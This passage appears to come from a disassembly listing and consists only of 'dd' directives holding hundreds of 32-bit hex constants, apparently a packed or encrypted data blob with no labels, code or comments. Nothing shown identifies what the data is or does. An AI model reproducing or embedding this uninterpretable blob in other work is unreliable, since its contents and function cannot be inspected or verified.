8527CF00h, 0DAC8AC5Eh, 0FC47E8E4h, 38AB6183h, 865A2AD4h dd 0C6C54AB9h, 0D5F630A1h, 0EC270659h, 6C592F00h, 0D95578AAh dd 52410767h, 0A2651DD8h, 0A0E016F5h, 0F00F8FFh, 0D78F77DAh dd 0CBF744CBh, 2A835010h, 2ADBF321h, 0E75E23B0h, 1828A130h dd 0B90281h, 0BB36C8CDh, 0BE1DC0DEh, 2223FD18h, 18BFDA20h dd 50D8D777h, 4388D88h, 875D8326h, 10DDEB06h, 7ED03320h dd 393C5930h, 0E9068239h, 0CC86689Ch, 0B330231Fh, 19149031h dd 8980C7E6h, 63E06F32h, 0C978C1B0h, 3E1DBC00h, 0D4B2FCA4h dd 7E3B00F8h, 36E09BBh, 0F503D61Ah, 5BFDA2C2h, 0B3710027h dd 4BE4BF9h, 0D03D92FBh, 4A0B0212h, 0F035Fh, 0ADAC3695h dd 0C40021Eh, 0A30AE09Dh, 28809CA2h, 0F1BF9C5Eh, 4A6F3A4Bh dd 0D75F878Ch, 404257D9h, 70A7E11h, 3EC0796Fh, 4A5A3F1h dd 50872440h, 0F02461ABh, 0CC6E2FD7h, 270519E4h, 21E7F3A1h dd 5081C400h, 0CBFF5FD2h, 75805439h, 0EF1E9794h, 80048F3Fh dd 4F2738ABh, 6167BBD9h, 8B8338F5h, 0B348324h, 0FBC0A3h dd 0F238C741h, 0C1584EBDh, 9EB11560h, 7354B0Dh, 0F0041041h dd 6143E151h, 8D2FFCFAh, 55E02502h, 98F26257h, 0F4B90C8h dd 222EA138h, 0FA7E5DC0h, 0F000934Ch, 0A7F9504Dh, 88100246h dd 39CFDCE6h, 0F1366096h, 187F56CAh, 0A8773893h, 7B31A321h dd 709FC0F3h, 6203BBE0h, 1E3102Ch, 91BFA8A0h, 0EA58B114h dd 5F6201A7h, 0D45B8FD9h, 48199E20h, 0D216AB2Bh, 0F0440983h dd 0AF674022h, 0A4A2D4A0h, 96A33F3h, 0E3470858h, 90615Ch dd 21EFFB13h, 0F5310BAh, 34FAE900h, 5B29DCB4h, 0BBF9061Ch dd 0D1A6E62Eh, 9C758700h, 7451976Bh, 15C601ECh, 242153F3h dd 0F814501Ah, 0A700A5A0h, 8F8ACDF9h, 14918CBEh, 844F3F0Eh dd 1F115810h, 63C3C17Ah, 0EB77C080h, 6EB80ECAh, 0FDEC3905h dd 0E060E6A9h, 0C2C86359h, 0D1C5030Ah, 0FC972337h, 2011D88Eh dd 0D400FEE3h, 0DC632E3Ah, 1301390Ah, 781C8F4Ah, 90415B8Ah dd 0A801D9D3h, 6422C4h, 0C058B3E6h, 0B848428Eh, 495D4848h dd 0AC21F714h, 32E5C81Ch, 13E01E61h, 3D00BA0Eh, 0C24D200Ah dd 98F9EEDh, 32BEB752h, 0FEEF3082h, 826F5B02h, 2265FF8h dd 584483CDh, 0B78B573Bh, 5AE01817h, 303A61CAh, 0DAF1D62Bh dd 0D3087BBh, 0FBD4B0B4h, 9A213D2h, 7C3C009Eh, 8B84695Fh dd 501D6430h, 74A685Eh, 4721B00Ch, 0BE76D044h, 4E00709Eh dd 0D6EF2830h, 0E119D1h, 0AABF84FFh, 5B80968h, 82BB7603h dd 0A0E4BEE8h, 7E06F20Bh, 585D0365h, 33511BFh, 2DE7ADC0h dd 0B50059F8h, 7AF43B43h, 7A7E147h, 66C00980h, 7D56036h dd 810EABB1h, 0FBE6717h, 32BBC07Ch, 4A58AFh, 0B8A594FDh dd 2FA3F30Ch, 3C7CF149h, 0CD49005Dh, 8350F62Eh, 751327Bh dd 14A95FD8h, 0C5302805h, 5B7821C6h, 96E00D6h, 30837148h dd 0D738087Ch, 0F5416FA3h, 629093F0h, 0B2BF1824h, 0C23C1846h dd 0F0F580D9h, 0D843312Fh, 959401C7h, 833C7646h, 0E829A404h dd 79842210h, 84754910h, 8058F83Ch, 7C803F64h, 8C78C49Eh dd 48190002h, 70A6D7FCh, 5E31C1A3h, 63AF2507h, 0CC231B20h dd 8FC010D1h, 7A107B1Fh, 0F2011E69h, 5D015E92h, 0C8845037h dd 690C184h, 3C2F1F24h, 0EC5F0541h, 0BE306980h, 0B511834h dd 7D00C574h, 0C36DC963h dd 97E84A0h, 0FC5F3789h, 93212C83h, 1C6EF5B2h, 0FA000345h dd 0E1F702h, 1CF5AE7Fh, 0BA304F26h, 8FF3DC1Ch, 4C14B82Ah dd 10882CBEh, 9A792EE4h, 0A3A44050h, 31012448h, 0C60C3004h dd 0A4308C44h, 802B4493h, 0FD1267F4h, 8C45A590h, 1446B9A3h dd 3261D08Bh, 3828580Ah, 0A418C123h, 46EB7D01h, 0D73EE425h dd 0DB0839h, 30A543B9h, 39576927h, 88B2FDAEh, 7443C831h dd 361F29F0h, 342E890h, 3909C001h, 22D9827Ch, 503D220Ch dd 24C4C5Fh, 0D6450C63h, 890109DDh, 0C188276Ch, 0E38A02A4h dd 0F380AC05h, 0CE7B8E29h, 0CFFA0086h, 6CBFA6C7h, 4948F6CDh dd 3BD1000h, 1E645703h, 94C8326Fh, 390FD0D9h, 937CCE85h dd 4BF62008h, 18113C0Eh, 0D319DFE6h, 0CB65483Ch, 7EA18A00h dd 98E1335Eh, 7A135CB1h, 0BCABC804h, 172F6500h, 250B6FBFh dd 105DCFBBh, 8011ECBCh, 0C70447F3h, 0EE6B4D1Fh, 77624881h dd 0BC74C0E9h, 0A1BF7CA3h, 23100178h, 2A00EFC7h, 5DD29159h dd 9C6442Dh, 7F351F5Eh, 40668827h, 2BABD90Fh, 68342260h dd 0D63A5EFDh, 0FA6830E1h, 9509BBD6h, 0BB93083h, 4682446h dd 790BE346h, 1EFAF5E0h, 10480249h, 0E615DE87h, 270780DBh dd 97B30877h, 3086D0AAh, 90D33EA1h, 0AB37530Bh, 0F1E406F0h dd 91C87019h, 5F0F0108h, 250237F3h, 1356BC18h, 744C1411h dd 0BE89FAh, 0AAF2A2D3h, 0DC18033Bh, 173F80B8h, 6981E94h dd 77BB3800h, 18F0741Bh, 61DDE6FDh, 2984A56h, 7EC76600h dd 4F722BD9h, 4C790118h, 0FF6087AEh, 3F989DF9h, 4C41FD5h dd 0FD427A2Dh, 2EE07840h, 3BFCA7FCh, 0D5F43A05h, 0F3C0DD08h dd 26671F91h, 9E44C92Bh, 1CE817h, 0C707C55h, 7B456FEAh dd 314E0800h, 0D77FB988h, 858710BDh, 5D041299h, 84868088h dd 5DE924F8h, 5B55D00Ch, 0BDB81E61h, 2441957Fh, 0B3102759h dd 0C431CF21h, 0CD9F1117h, 12DD5BFCh, 61DB55h, 3329AA33h dd 0E503703Dh, 0F5B78126h, 0CF878977h, 2109F452h, 349F8B21h dd 25010C98h, 0CB7EB67Ah, 0AF5CA6Ch, 426F8420h, 0C5F3963h dd 4125E75Bh, 0C767EF6h, 0C9B5507h, 0F7004CB8h, 8433D551h dd 247C5FDBh, 40BCE85Eh, 742FC560h, 8D9DAD00h, 461A4223h dd 0EC79026Fh, 1BD8820Eh, 0C7C0A843h, 0ED4D7B86h, 0BB5F0B6Ch dd 5B20A08Bh, 58C8E1B9h, 27206886h, 1CA3A12Ch, 64842134h dd 0E31058A3h, 981A00CEh, 0A378AB40h, 608C91A8h, 0C270C319h dd 0AB24990Ch, 0F2D071EBh, 51146FC4h, 0EDB80012h, 0A81FA548h dd 0C1CC9200h, 31B4F193h, 0C558009Fh, 0AC3E027Bh, 0DC265DFDh dd 270460D0h, 0B4926367h, 8FAC8148h, 5910C9D3h, 56016645h dd 7386E179h, 0D8861491h, 48B13DEDh, 90CD1B20h, 0C00F4943h dd 0F0CCC438h, 7ED8B180h, 0A13B0E91h, 71F40362h, 0A942E2D2h dd 0E081AA2Dh, 0A3AB5F6Fh, 10A862F2h, 79182111h, 0E3332027h dd 0D917B616h, 93D39C30h, 0FD77009Fh, 0D2B5F23Ch, 2379BA9Eh dd 0CF35838h, 407C8E38h, 0BB500986h, 0D429EBE8h, 0C3900446h dd 7FF4CCF5h, 5C4D8B30h, 4D17A0Bh, 0C794D884h, 0B7DC81D5h dd 104F0323h, 4094528h, 583AB21h, 4020BCC8h, 0CCA4FF15h dd 84042853h, 50181081h, 0D940E7E1h, 842754A3h, 0D4937A79h dd 7A3FC819h, 31C581F8h, 0D2918024h, 556F1F65h, 1E8F787Eh dd 87D90604h, 49BD0D8h, 0A3250220h, 1E68506Ah, 0C24C0CDh dd 0B81050CAh, 8C415494h, 0A180FA60h, 0AC01972Ch, 9D3E882Eh dd 0C8B87404h, 0DE2B6498h, 0D6C430F0h, 0C20C6443h, 457C13CDh dd 0C784D838h, 84CA44h, 0B19E421h, 7726BD92h, 0A88300Ch dd 80D0ACEEh, 64988A7Fh, 9351F310h, 0F5BC0130h, 5F9440E8h dd 0CCB29670h, 0D350D0E7h, 295CF24Dh, 5F0A08B9h, 0B4A1C07Ah dd 0D4207745h, 30BD8ED0h, 0A891D48Fh, 0D260A35Ah, 1734FA79h dd 108F34A5h, 14A8C721h, 70B941FBh, 18509B57h, 0B24C5888h dd 51A50C4Ch, 0F370F6D4h, 0D06788h, 5C8AC720h, 8BE51A24h dd 624F3D00h, 0D40949DAh, 41B46050h, 0D5E7BCC7h, 42072892h dd 0A74AE521h, 0DC2B0A10h, 20370291h, 19CD2780h, 44CA9884h dd 0DE20A379h, 46888B5Fh, 3F0730E6h, 0A5D7C850h, 155EB000h dd 0D6A491BFh, 3A30166h, 0D3B87CA6h, 1EAFC8EDh, 46E89300h dd 3F55606Ah, 0E3C1007Eh, 0A6346321h, 0D70F25A3h, 60D299BEh dd 9836CD14h, 0C9730077h, 2ECA6718h, 3206F2A9h, 9615D45h dd 23E51140h, 0D74B009Ah, 0EEDC9EAFh, 37EF0014h, 0E08270BAh dd 5AFAD02Ah, 36015500h, 3E185045h, 0CF1F007Dh, 0A5C68E23h dd 2A02499Ch, 0EEA69EADh, 35EC920Ah, 0F8AA5F04h, 2909A77Fh dd 0DCA8ABh, 0BC2DD2D8h, 0F80B868h, 5BA590D5h, 6F6033CFh dd 6B10235Dh, 24CEC400h, 9FD4789Dh, 9A40C025h, 0E94C11A4h dd 70AEFC00h, 0E22AA383h, 0A14D0796h, 90AA3EF2h, 0DE756044h dd 9E1FDA04h, 2B01A60Ch, 0DF93A5h, 0A3FBD7h, 2AC97579h dd 0AC5FA2CCh, 0B44A0100h, 0A94C235Ah, 1FDE00CEh, 0A0D4378Dh dd 0C8C04017h, 0CD6111D5h, 79A41304h, 94381477h, 49C4EDBAh dd 95B10018h, 0CD11E3A2h, 700091FBh, 0C52ACA75h, 0E554D9Eh dd 4A6F36F1h, 0CE744BA0h, 0D90026E3h, 25A2D2C6h, 91A830h dd 0A34AE963h, 827ABC36h, 0D7FB950Fh, 0EA924094h, 0A6CEF9h dd 0C26E44E5h, 78A525C8h, 23A2CF03h, 98B32Ah, 39A36040h dd 967B7097h, 0AAD3D500h, 0F3FEA721h, 194A0073h, 0C8DE7710h dd 0C6009A16h, 2A4FECD1h, 10639EBFh, 0BEA66E4h, 35887B6Eh dd 0D200758Ch, 0D75EA8DEh, 0D59900B4h, 27D35FE3h, 0B70267A2h dd 0A5C12A87h, 46430023h, 3E011E47h, 2299C66Ah, 0A6FCC59Ah dd 0A814005Eh, 4AD2DAD4h, 92072CECh, 0EDA2776Fh, 0AB5BDDB0h dd 67F300EFh, 6E4E1059h, 21128325h, 0D800718Dh, 97B0295Fh dd 4FE500A8h, 86A7FCE7h, 2A00D8B8h, 0A250A6C3h, 3B69F304h dd 779F554Eh, 9E2783C2h, 70009834h, 639DAB2Fh, 7EF4BDAh dd 75786537h, 0DDE1C1C8h, 3CAC6049h, 0A763188h, 0A325C7C4h dd 0DF044888h, 0FC8B80FDh, 0E3455A3Fh, 67434100h, 6E5D4BD7h dd 340E5227h, 570037ACh, 401E3341h, 1F49CA6Eh, 0C207675Bh dd 0FDC4BD2Fh, 0F5E61014h, 0ABDF091Ch, 2E9CD803h, 0C3462D2h dd 2F2909E5h, 30659400h, 0FA036D86h, 18E8B68Eh, 8C4521F6h dd 0AD496500h, 905DD7C4h, 27933E22h, 0D08150E1h, 0E728DC7Fh dd 0BA8180FFh, 212EBCEAh, 0B1A1634h, 0CCE0C359h, 0D29C2103h dd 0F83584BCh, 9859158h, 3C937944h, 33E478D8h, 38900305h dd 0CCE01C3Bh, 8AF9024Ah, 31D084D5h, 0BB802C54h, 423E836Fh dd 0AD40AF7h, 0C41C35EDh, 8C950AFFh, 0A588240h, 6DE65C98h dd 9231A900h, 24B284C2h, 0FB13A314h, 0AB177A6Ch, 0B890034Bh dd 84DA2BC8h, 18DC8D20h, 206E3304h, 44861FD4h, 0D6F4619Dh dd 9002B8ACh, 8D863465h, 40AC1B04h, 6B658849h, 93A213B9h dd 5838B023h, 0F5FA8F01h, 278070D0h, 0EBB8B0C6h, 213308BCh dd 0D26419DCh, 0BCD39D40h, 49FAEA97h, 0AA7C5500h, 0BD5B6DB1h dd 81F71C77h, 0B399CF44h, 0DA136703h, 0C20A100Dh, 70914025h dd 0BCEE802Ch, 8CD42132h, 98D044h, 5268BCD6h, 8C727351h dd 8158450Fh, 0ADC0BC0Bh, 9CC68E89h, 6E100209h, 423C6083h dd 6F18C4F0h, 2080DB0Fh, 0F4BF3055h, 9157D818h, 834FFC01h dd 65FBE0Ch, 0DC2FE850h, 80A1F71h, 7F2940C3h, 0D9FDFF8Bh dd 0A5A30B1Ch, 7E32931h dd 446CB050h, 22B5000Eh, 6FA4A8C3h, 0B000BD8Ah, 6404DD87h dd 60608D10h, 321E39F9h, 867DEB17h, 7B24BE17h, 0F14CC3h dd 173A3721h, 0D8B56216h, 100386FAh, 0C76725B0h, 0D4C804D2h dd 7155350h, 0D5468FBFh, 1D900118h, 7173813Ch, 10947D2Ch dd 886441E4h, 17316088h, 3C8623EEh, 7BEF11h, 47FC1739h dd 0B96C60E7h, 0F9F56300h, 6E5F80B4h, 249C2F2Eh, 20879085h dd 0ED17382Ch, 11348623h, 403900F6h, 74CE8317h, 0FD5D12D4h dd 7C68E485h, 8049903Ch, 0EA7E2580h, 286705B3h, 17CD327h dd 0DA687734h, 2239FDDEh, 87D7828h, 0BF8FD007h, 0A7F42B2Ah dd 11331CA8h, 0D0D8E621h, 0DB071942h, 0A3932145h, 0F3E7899h dd 8D7D596Fh, 0B5055EE0h, 0FC51D88Bh, 9950CBF8h, 48C2558h dd 212DBCE9h, 20CF62CCh, 9BCD19Bh, 0BE944200h, 2B920723h dd 515F0175h, 0BDA33C2Eh, 0CC422AFCh, 9D928FAEh, 80F611D0h dd 14CC0CC0h, 20109D25h, 0D60158F1h, 81189F32h, 48FA9B83h dd 0A816C160h, 0D21088h, 0DF279513h, 2351827Ch, 83A9BC03h dd 0A82B074Ch, 4A3889AAh, 27FC8093h, 8C618AFDh, 0D6A5F6E1h dd 35C58821h, 8A46C016h, 0F0173702h, 0F4314C86h, 173F3E10h dd 9DEE6201h, 517AA4C6h, 0D738043Ah, 5F594FCBh, 0B67CC382h dd 0A7B47696h, 1E00D4E4h, 4CB153F6h, 3396BDDh, 0DB5A896h dd 1F91A58Fh, 94442A86h, 8142EBA4h, 9049D17Bh, 649BE32h dd 0A507771Fh, 66F7F30h, 4C8B8152h, 5CF02817h, 50922312h dd 1E5714E0h, 988FC68h, 0D8DAFAABh, 4362C60Ch, 41D318F7h dd 0D4A0E7FEh, 0B7259324h, 4C806E2Ch, 7F109087h, 0DEE719B9h dd 8EC01291h, 0C07B04D4h, 0B9C240A5h, 1EF401E4h, 0D6062D29h dd 523988F0h, 4018C75h, 3835EEA9h, 4148255Fh, 0E17056A8h dd 2A983528h, 6563A822h, 60F3E44Ch, 1F2F79CEh, 96B33E0h dd 7470B335h, 0DB87490Ch, 0B961C8BBh, 18FB7908h, 304DEC0Dh dd 0BB50F14Bh, 2FB2077h, 80F876E6h, 331046FDh, 2200DF5Dh dd 0FCF46CE9h, 384C6F94h, 0DD1691AEh, 0A32407C3h, 7C9109BBh dd 0A2D188Ch, 5C86EA17h, 35385074h, 22E26098h, 70AFF704h dd 34ED23FDh, 7386C804h, 6D0BCA5h, 105BF3DFh, 9820E968h dd 221F4317h, 0A8A32403h, 7CB560F8h, 0FB4B7FA2h, 0B0ACC8C4h dd 7384E3C0h, 60C02DA1h, 5509BF42h, 5CC8704Fh, 7C82C883h dd 5C60CBC0h, 11091A24h, 0D9105EDDh, 356000ECh, 41B9E81Eh dd 3E4EAC00h, 30D4F59Fh, 681869B3h, 8071A00Fh, 0BF94D033h dd 2E448C42h, 2D0EAE7h, 4D5BD3E4h, 7CE0A97Dh, 5F307860h dd 7B77F0E5h, 64D49ABFh, 60406009h, 2392D031h, 131132BFh dd 0D02CE501h, 0C58385FAh, 70123F98h, 815EBC00h, 0C2F3CB38h dd 0C0D0C7B8h, 216BD782h, 2044A4E4h, 77391DD9h, 44A120A3h dd 99318D1h, 75862D65h, 4C834C45h, 900C658Bh, 5CBADF85h dd 0B4386C53h, 0C97F807Fh, 412FE781h, 0E18FF0E8h, 0BFEB48h dd 0E6ED0C94h, 26511A60h, 0BA22A75Dh, 0B390E038h, 0CC9C0574h dd 86E00124h, 52EEEB58h, 9640E9CCh, 0CD18496Bh, 0C2196750h dd 0EFD9017Eh, 25063623h, 0A888514Bh, 4092F16h, 0A7AC70C1h dd 60F14478h, 397072h, 0FE7EDEE2h, 57B4A7E6h, 555F6202h dd 0C127D9C6h, 33B7024h, 67787934h, 3CE9ACC2h, 6048FE38h dd 8B30FD28h, 0EE30E9B9h, 9EE700EDh, 4D27D0DEh, 4980E84Fh dd 0A8CF5467h, 0F582E88h, 0D55F8D68h, 1EEC60C9h, 2797A314h dd 74944BF4h, 0F623702Eh, 0A1E65A00h, 2C8361D9h, 8088078Bh dd 45718D7Ch, 5D09D84Ah, 80B55F66h, 6DC7E994h, 0D7DA2462h dd 6591C020h, 19E78633h, 894E23D6h, 0A49835EBh, 224A43ABh dd 0EF0FB441h, 3C706FF9h, 64FA402Bh, 17C0029Dh, 34990BF3h dd 0B8802C80h, 43008CD0h, 47308618h, 7F2E9BF6h, 5E55166Fh dd 6A9820E8h, 0E300CAB8h, 0A324C6E1h, 957EE1Ch, 5EC7EC81h dd 8B465844h, 0E9173402h, 0B09C5486h, 173C351Ch, 0E87010C2h dd 4090DCD2h, 73053856h, 0EAED2E00h, 0F5D9B596h, 78E2051Dh dd 3E621C4h, 5069884Ch, 0D770E4E8h, 0F071DA1Fh, 0B71048EDh dd 0F27B0008h, 582066F1h, 7D50569Ch, 0A3880F98h, 91EA65A6h dd 7D4ADE6h, 3E18298h, 27C47540h, 0D18C00D5h, 0EE903F33h dd 38BCE86Dh, 2EBB8281h, 0B6DD0D55h, 504C1A20h, 7EDDB3Dh dd 7E3066C3h, 398AB13Ch, 74437A7Bh, 9F981381h, 0C8A8CD95h dd 0FF93F309h, 8A102CF2h, 250604B0h, 185889BBh, 0ED738108h dd 68DF022Ah, 0D451FF4Ah, 0CD42E85h, 660828C1h, 61E0E800h dd 3BD408A9h, 28583814h, 8946D852h, 0EF17360Bh, 709C7E89h dd 173E3B00h, 9EB62943h, 6F7202B0h, 252F935Fh, 650150E5h dd 0A5CB777Ah, 2CD26700h, 5F89A600h, 0BE1C7B53h, 736401F8h dd 0ECACA8BBh, 1F77C4F3h, 0BD7BE9C2h, 16445A18h, 3BFB620Eh dd 0F223C8h, 2FEEA236h, 0FC001908h, 652EDC5Eh, 21A5D59h dd 86D18FD3h, 0ECDCE49Bh, 0AE49013Ch, 0FDAB2887h, 98D2C30h dd 20CE8106h, 3CE40083h, 0A1A32816h, 841034E3h, 0AC1C3E20h dd 37933043h, 0D0F7500Eh, 0B946E001h, 6EE62D7Ch, 17008452h dd 365653F1h, 22100D0h, 0C81112EFh, 3124515Fh, 1E02AC8Eh dd 6D34CA7Ch, 43D6E3D0h, 7AEB4E00h, 738D7150h, 0FBB70557h dd 0BCF09BD0h, 0F321042Ch, 28C829ABh, 0D8DB3EA9h, 3948C5Bh dd 2C6C9A10h, 458F313h, 1707ACECh, 8F8C3420h, 645D029Dh dd 0D3550EECh, 869844CBh, 26599C8Bh, 1BF31DB8h, 0BA14F8AAh dd 7934BEA6h, 2E949A10h, 0B3BB7C09h, 60D8A884h, 10366592h dd 0C8049D86h, 8A4F80F2h, 8B764465h, 0D57DD600h, 976CBFA0h dd 439330BAh, 8F5E2324h, 38051900h, 6FBD86F2h, 7C80BDBFh dd 0FA67EC6Eh, 695E040Bh, 428472FBh, 27A81010h, 0F48C204Ah dd 967CF102h, 0B69DD000h, 5C9467B5h, 296A0EE0h, 8861CBB0h dd 5F4F330h, 303A7482h, 9808D02Fh, 6E2C62BFh, 2AE300D1h dd 381F4DD0h, 0C572EDh, 399F3009h, 625CB985h, 0A0FF7E35h dd 7F3A3030h, 1AF20FB1h, 0FF816440h, 0CE1BE0E2h, 1E1328C0h dd 0C4603481h, 110E426Bh, 5F0BAA8Ah, 3C2223ABh, 90E689E3h dd 8F02D546h, 95863165h, 10F1C8B1h, 658750h, 0CF56D9FCh dd 5A4C03Fh, 0E43B6F2Ch, 0A4B3908Bh, 8B538700h, 0C0D1C8F4h dd 42CB3522h, 4FD21800h, 75FA8E2Bh, 70321711h, 13C8B0EDh dd 98602341h, 0CB4D171Eh, 502C2C1Fh, 0E0C75744h, 218BBD9Ch dd 91583020h, 0B5278767h, 29F41906h, 0BC0BED18h, 45EC2131h dd 0D597804Ch, 0D1E2DFBCh, 62209909h, 8C308239h, 0A3810018h dd 54942F3Fh, 0DD403CACh, 0AA7B7739h, 2EF8C1ACh, 204D26D4h dd 0BD0C1B83h, 0C8D84F87h, 33601086h, 5A8F1217h, 24046053h dd 811E1B95h, 5EFDE60Ah, 42342504h, 40323F4Ch, 4ABF914Eh dd 12C0323Ah, 0D02DE820h, 30BC79A5h, 0F1E1C9E6h, 0B0650A8h dd 1C7A3918h, 0BFAC80B1h, 0E6E28022h, 55190262h, 0AFAAC09Ah dd 0B41A1217h, 6FCC0334h, 0C83FA6DBh, 98547F46h, 0B1017BC0h dd 33272ED1h, 898339C1h, 0DB5367BDh, 4B30F915h, 84C200E0h dd 6F1D91B8h, 44CA4A47h, 311AFF3Ch, 830527AEh, 984B3ACh dd 113C9D5Eh, 0C8ED83FCh, 8898E550h, 7FBF088Eh, 0B280D933h dd 8999C07Dh, 47E64AD6h, 10335004h, 8D69BA0Ah, 0FBBCD400h dd 0E6A5792Bh, 14C200F5h, 3C0B39B3h, 1EE0D68Ah, 34F09000h dd 0FAA79231h, 0B536002Bh dd 0C07C414Dh, 0DC96CDB3h, 647CE5C9h, 5410602Eh, 2B80041h dd 2F65F3B3h, 834B773Bh, 8B2E024h, 7C3012F2h, 803482Ah dd 42A0B86Dh, 13110A14h, 966C460h, 47DC4659h, 8845B00Bh dd 0B067F6E4h, 0C7238DE5h, 0C8803891h, 95151D12h, 36F30064h dd 874C7DE7h, 9882BD47h, 1D64364h, 5B4890A5h, 0CC5784E4h dd 0F3066A27h, 0C1427769h, 0C0B4B0A8h, 31FB931h, 4304F973h dd 221A62CBh, 0C883084h, 33CA147Ah, 0B602D06Eh, 1B7360C5h dd 0C224C80Bh, 0CD2B0294h, 0E17B86C8h, 420164DEh, 2C4F865h dd 95394F0h, 6EF2EA73h, 0F48DE4C0h, 6C2A782Eh, 25CA6D0Eh dd 0CB24C7Fh, 4332EAF2h, 5081EA73h, 80ED4C40h, 98149400h dd 8E89D78Ch, 1C2DC902h, 0C11F6E3Fh, 3C34ED48h, 82332877h dd 5EA096A0h, 0A200F146h, 49B5D536h, 1F13AC11h, 64443787h dd 10871A08h, 9F9187A8h, 0F34AA038h, 0B8BA9793h, 1DCF094h dd 2616DED9h, 0FCEA7B1Ah, 5D04DBFFh, 2B2FA31Bh, 2B4A20E7h dd 32E82370h, 34F4DC68h, 78FCAB45h, 1D3AF7C0h, 973D9CADh dd 39980C6Bh, 6FE4181h, 0F78B5AD7h, 70F188F4h, 78991748h dd 0C8BA578Bh, 0A0FBCF70h, 241A8EC4h, 4B266D9h, 0A804D893h dd 0D62E8E04h, 0F723E03Eh, 386B803Eh, 5D27D448h, 0B0F24D4Fh dd 0F0B7930Bh, 0D4DBA004h, 23302EB0h, 70E700F8h, 0A0327C07h dd 24EFE238h, 604FAC8Ch, 3854E4AAh, 0A78F16A5h, 2ED0C8BCh dd 70C38Ah, 0D91D9451h, 8B068302h, 7100EE78h, 972C2052h dd 2C610AFh, 428E802Fh, 9482EDACh, 77101CB8h, 0C8E78825h dd 0B97081C4h, 0AF34E280h, 6C6D0019h, 1D494CD0h, 0B418B589h dd 0EC028343h, 86249677h, 0A8D69B67h, 6F2B0416h, 77E0E405h dd 1A46C832h, 0FB59CCF9h, 8F129018h, 30B01360h, 213E5B25h dd 123D34h, 3AD389A3h, 27A5596Fh, 0F9328058h, 0FCE3484Fh dd 829B9E9Ch, 534320ACh, 508630C0h, 58C1377Ah, 8FBF7FBBh dd 4173B83Dh, 6FFBE8FCh, 0BB8B210Dh, 882B582Ch, 0D50F5A0Ch dd 0C05B17D8h, 59D4DF0Fh, 18BF0137h, 8DF46256h, 19FBD3D2h dd 8094ECCDh, 3B1FC160h, 0DDF293h, 427012B8h, 5E61EFB4h dd 99B09700h, 0E6F6262Fh, 3BBF2FDEh, 1EFDA440h, 3DC7C9Eh dd 6C3BC8E0h, 85A0479Bh, 6F00605Bh, 0A4FF8F58h, 252883D6h dd 8683442h, 8680889Fh, 9C5F4CDCh, 0C1EE6483h, 9BF009D0h dd 16327600h, 0A91CA19Eh, 27B873h, 0CFC68C6h, 0F9E724C9h dd 0DF207CB0h, 5F68A0F4h, 106986A1h, 11789D59h, 914B87E7h dd 0E07CC89Bh, 4C8A75C2h, 160477F2h, 0BA3B0C65h, 0A377C802h dd 200209B7h, 390322C7h, 3CC1DC85h, 0FB00F22Fh, 0CA205D04h dd 36033FDh, 93B8B171h, 401CFB0h, 0FD996745h, 5032265Dh dd 0C132A906h, 0A08039C6h, 0AD83CC47h, 7670DCCCh, 33DD00ABh dd 958B97Ch, 11F63AEBh, 5F751A03h, 3FFC7A3h, 30815B88h dd 0A8273206h, 0F182B61h, 33668518h, 24C40C60h, 20CB2FBBh dd 9C07E83Dh, 8F513E91h, 0EBE8900Ah, 421C9419h, 0D7012A6Dh dd 52EA07ABh, 1E82FD8h, 54942C13h, 0E9B710A0h, 0D47FBD17h dd 0B81091FCh, 506F2B0Fh, 0A0AB090Fh, 9C8D7CA0h, 0DD147A68h dd 802435FDh, 0BF93D030h, 222C434Ah, 27E20014h, 84C2A9D0h dd 8D177BB6h, 88E23F24h, 0C809A830h, 0D139257h, 52002DE2h dd 7931BFF4h, 28E54CD7h, 0B7612180h, 0E125B68Eh, 14525Fh dd 0EED393D7h, 0C3B9A392h, 8F307FFEh, 0B3BE89BDh, 0D8D93B81h dd 8C9439AEh, 9110A904h, 0C94E9700h, 8977A32Ah, 0F0900B46h dd 0C8F23733h, 0A500A8B0h, 64242C38h, 883EC4CDh, 0C800F727h dd 5362E552h, 0BE014B5h, 2393F6D7h, 84E5F029h, 6D63F2E4h dd 8F5A9DD8h, 0BFB6BC05h, 0FCB25BA0h, 5630F5F2h, 0BF8D04AEh dd 8881F367h, 0EF4283C8h, 0BB22C002h, 0B0141B8h, 3868A88Ah dd 3A27F417h, 0F4234Ch, 48AE9905h, 2704AF1Dh, 24D793A9h dd 43DC6088h, 0C0396F16h, 36822D6h, 64D257Ah, 9B2140DAh dd 4A113F6h, 40B80368h, 402E2D6Eh, 81680C5Fh, 2139D08Bh dd 29E7A310h, 0FF737F03h, 0F3E0D8A0h, 376F3155h, 8F294858h dd 2CE5D25Bh, 20788D88h, 69C1FB60h, 976E5882h, 0B2A4343Ah dd 3030F264h, 931D42F1h, 0F718767Dh, 1E5B5F9h, 0D30E1882h dd 2F79398Ah, 0D1C2C8Ah, 0C6B88021h, 7E74C85Dh, 88313B09h dd 85E83719h, 2762E89h, 1903A3C9h, 7398CC91h, 367710E8h dd 0F6B83CD4h, 0A45D078Ch, 50C90F60h, 0EA7EC28Bh, 31B67A13h dd 0ED50741Eh, 0CCE7BCC9h, 7E67CBC4h, 0A0B60412h, 331081C3h dd 7D7863BEh, 5E7B8188h, 1888139Dh, 1508F0E7h, 147A2184h dd 6E1465A5h, 601A82B1h, 80C856C2h, 8AE64B3Dh, 2600BBDFh dd 320BFA4Ch, 95241F0Ah, 5D01BC64h, 428A6FACh, 623476h dd 5A29B1CCh, 895F5202h, 0A4E99B38h, 6F568110h, 0EC90050h dd 0AE17072Eh, 7383091Ah, 0BC101599h, 4882B2Fh, 0D902605Eh dd 0CAE76EF6h, 96C49C5h, 0F43957C0h, 940300DBh, 0C8FB6627h dd 9058D9CAh, 249F15F4h, 15262124h, 0BCC8782Dh, 0D080278Ah dd 6414EC08h, 7C4040FAh, 941F7590h, 0DE5B0884h, 9F508605h dd 50BDB8A0h, 448798BEh, 74847E8h, 20D0A2FCh, 3B77BD19h dd 604984F1h, 0BB01F3D3h, 3E013A6Fh, 80F8BC6Ch, 78FB8B84h dd 1221252Ch, 0E7404088h, 602F8C83h, 2638B74Ch, 6BEC006Eh dd 274A6C9Fh, 7381570Bh, 40EC42C1h, 0AAF9184h, 89565B40h dd 248A50B0h, 0F0585F80h, 2C44917Dh, 0A870830h, 51BCC42h dd 0F6BC0BD8h, 0E541B046h, 3D5B452h, 78DA30Eh, 5C815864h dd 0A748CF20h, 1076C4C4h, 0BA789100h, 6F02EF85h, 2D7B6330h dd 7C58ECA3h, 0F6732586h, 2320A0FAh, 35CD48DAh, 41B58500h dd 28751B54h, 7098F625h, 0AEA300F8h, 0D983FE44h, 5CB34C7Fh dd 0B86978h, 5375BA21h, 0A9F1A6D2h, 